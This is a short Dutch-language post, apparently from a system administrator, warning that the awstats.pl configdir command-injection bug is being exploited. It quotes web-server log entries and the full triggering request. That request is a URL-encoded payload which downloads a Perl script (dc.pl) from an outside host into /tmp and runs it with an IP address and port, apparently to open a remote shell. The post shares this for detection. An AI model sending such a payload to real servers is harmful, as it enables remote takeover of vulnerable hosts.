Hallo,

Er is volgens mij sinds een paar dagen een nieuwe exploit
voor een bestaande vulnerability in awstats.pl opgedoken. De
configdir= bug die sinds januari al bekend is en sinds
awstats 6.3 opgelost. Helaas draaiden wij nog een oudere
versie.

Als je awstats gebruikt, check je webserver error log op dit
soort zaken:

[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] --11:34:00-- http://sex.hotsteamyteens.com/dc.pl
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] => `dc.pl'
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] Resolving sex.hotsteamyteens.com... done.
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] Connecting to sex.hotsteamyteens.com[166.70.135.163]:80...connected.
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] HTTP request sent, awaiting response... 200 OK
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] Length: 759 [text/plain]
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194]
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] 0K
100% 741.21 KB/s
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194]
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] 11:34:01 (741.21 KB/s) - `dc.pl' saved [759/759]
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194]
[Fri May 13 11:34:01 2005] [error] [client 80.53.227.194] sh: line 1: fg: no job control

Getriggerd door:

80.53.227.194 - - [13/May/2005:11:34:00 +0200] "GET
//stats/awstats.pl?configdir=%7cecho%20%3becho%20b_
exp%3bcd%20%2ftmp%3bwget%20sex%2ehotsteamyteens%2ecom%2fdc%2epl%3bperl%20dc%2epl%2080%2e53%2e227%2e194%
202001%3becho%20e_exp%3b%2500 HTTP/1.1" 200 649

De afgelopen 3 dagen tel ik iets van 50 pogingen..

Meer info http://iwfc.security.org.sg/significant.html